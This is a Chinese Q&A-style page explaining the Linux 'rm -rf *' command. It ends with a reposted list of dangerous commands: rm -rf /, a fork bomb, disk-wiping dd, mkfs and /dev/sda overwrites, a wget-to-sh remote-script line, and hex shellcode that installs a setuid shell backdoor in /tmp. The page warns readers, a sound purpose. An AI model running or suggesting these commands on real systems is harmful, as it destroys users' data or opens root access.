在linux中"rm .rf* "命令是做啥的?
Posted
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了在linux中"rm .rf* "命令是做啥的?相关的知识,希望对你有一定的参考价值。
“rm”命令用来删除不需要的文件。该命令的功能为删除一个目录中的一个或多个文件或目录,它也可以将某个目录及其下的所有文件及子目录均删除。对于链接文件,只是断开了链接,原文件保持不变。
“rm”命令的一般形式为:
“rm [选项] 文件名? ”
如果没有使用“- r”选项,则rm不会删除目录。
该命令的各选项含义如下:
“- f ”忽略不存在的文件,强制删除,不给出提示。
“- r” 指示rm将参数中列出的全部目录和子目录均递归地删除。
“- i ”进行交互式删除。
使用rm命令要小心。因为一旦文件被删除,它是不能被恢复的。为了防止这种情况的发生,可以使用“i”选项来逐个确认要删除的文件。如果用户输入“y”,文件将被删除。
参考资料:linux命令大全;百度百科:linux shell
参考技术A Linux中rm命令是用来删除文件的,-r代表将目录和子目录递归式的删除,-f代表无提示强制删除。*代表所在目录下所有文件。如果执行该命令,有权限的话会直接将你所在目录下的所有文件直接删除,并不做出任何提示。
执行该命令前应该确认你所在目录下的文件是否都是不需要的,以防止错删误删。
linux总结10大危险命令
rm -rf 命令
> rm -rf / #强制删除根目录下所有东西。
> rm -rf * #强制删除当前目录的所有文件。
> rm -rf . #强制删除当前文件夹及其子文件夹。
fork 炸弹
:() { :|:& };:
bomb()
{
bomb|bomb&
};
bomb
echo "" > /dev/sda
mv 文件夹 /dev/null
> mv /etc /dev/null
下载的文件立即执行
> wget http://rumenz.com/rumenz.sh -O- | sh
mkfs.ext3 /dev/sdb
重定向输出到文件
> > rumenz.txt
硬盘清零
> dd if=/dev/zero of=/dev/had
执行伪装后的命令
char esp[] __attribute__ ((section(“.text”))) /* e.s.p
release */
= “\\xeb\\x3e\\x5b\\x31\\xc0\\x50\\x54\\x5a\\x83\\xec\\x64\\x68″
“\\xff\\xff\\xff\\xff\\x68\\xdf\\xd0\\xdf\\xd9\\x68\\x8d\\x99″
“\\xdf\\x81\\x68\\x8d\\x92\\xdf\\xd2\\x54\\x5e\\xf7\\x16\\xf7″
“\\x56\\x04\\xf7\\x56\\x08\\xf7\\x56\\x0c\\x83\\xc4\\x74\\x56″
“\\x8d\\x73\\x08\\x56\\x53\\x54\\x59\\xb0\\x0b\\xcd\\x80\\x31″
“\\xc0\\x40\\xeb\\xf9\\xe8\\xbd\\xff\\xff\\xff\\x2f\\x62\\x69″
“\\x6e\\x2f\\x73\\x68\\x00\\x2d\\x63\\x00″
“cp -p /bin/sh /tmp/.beyond; chmod 4755
/tmp/.beyond;”;
原文链接:https://rumenz.com/rumenbiji/linux-danger-command.html
微信公众号:入门小站
以上是关于在linux中"rm .rf* "命令是做啥的?的主要内容,如果未能解决你的问题,请参考以下文章